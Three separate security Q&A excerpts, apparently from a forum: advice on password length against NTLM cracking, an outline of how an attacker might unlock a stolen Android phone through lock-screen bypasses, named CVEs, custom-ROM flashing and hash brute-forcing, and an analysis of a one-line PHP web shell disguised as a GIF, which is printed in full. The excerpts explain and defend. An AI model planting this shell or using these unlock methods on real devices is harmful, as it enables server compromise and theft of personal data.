How do we get 77 bits of entropy ? If we restrict ourselves to letters (uppercase and lowercase) and digits, so that the password can be typed on arbitrary keyboards, then we can have a little less than 6 bits of entropy per character. Therefore, 13 characters are sufficient. Isn't it swell ? Only 13 ! No need to go to huge passphrases. But mind the small type: that's 13 totally random letters or digits. No question of letting a human choose these characters, or even generating a dozen passwords of 13 characters and letting him choose the one he likes best. You take the generator, you produce one password, and you learn it. The mental effort is the price of using an unsalted fast password hashing mechanism like NTLM.

(Of course, the attacker group described above is realistic. You may want to increase complexity a bit, so that your passwords will also be strong with regards to tomorrow's attackers; so make it 14 or 15 characters to be safer.)


How can an Android device be unlocked, and how long would that take? The original question was about the minimum password (or PIN) length (or entropy) for the screen lock in Android. Seeing that nobody answered, and following Schroeder's advice, I'm going to edit it and just focus on the speed of the unlocking process.

So say you are an attacker and you find or stole an Android device, it's turned on, but it's locked by a password (or a PIN). What are the most common and feasible ways to unlock it or access its contents anyway, and how long would that take? Note that I said "feasible ways", because I'm talking about a real average-skilled attacker, not about government agencies or theoretical attacks that nobody in this community would actually be able to do.

I can see two attack vectors.

The device is booted and at the lock screen.
Either a lock screen bypass or crashing the lock screen will work here. Exact methods will change depending upon which Android version you run. But the key point is that the Android lock screen is a screen overlay on Android 4, so crashing the lock screen will put you straight onto the home screen.

Android 5.x has CVE-2015-3860 vulnerability.

This presumes the device does not have full-disk encryption enabled

If the device is not encrypted, boot into recovery mode and flash a custom ROM. You can change, disable or remove the stock lock screen. As you will have root access over the file system. Furthermore, you can access the file system directly without needing to worry about the password.

For encryption, Android 5.0 and upward full-disk encryption (/data is encrypted) is deployed and Android 7.0 and upward file-based encryption. Full-disk and file-based encryption. Full-disk encryption can be cracked by exploiting CVE-2016-2431. For those using unencrypted Android, the hash can be accessed via /data and brute forced.


Is this PHP file containing an eval to a POST variable an indication of compromise? I found this file on my server, it contains the following code:

GIF89a
<?php eval ($_POST[plm12345plm]); ?>

There is no other code beside that one above.  Is this malicious?

Yes, this is rogue. This script will execute any PHP code passed as plm12345plm POST parameter. This means, an attacker can execute arbitrary PHP and -- depending on the server configuration -- further code on your server.

The first GIF89a line is likely placed to bypass basic file verification during upload of the script as a GIF image.

If the file could actually be executed, consider the server as compromised. If it is not executable directly, it still could be exploited using local file inclusion attacks.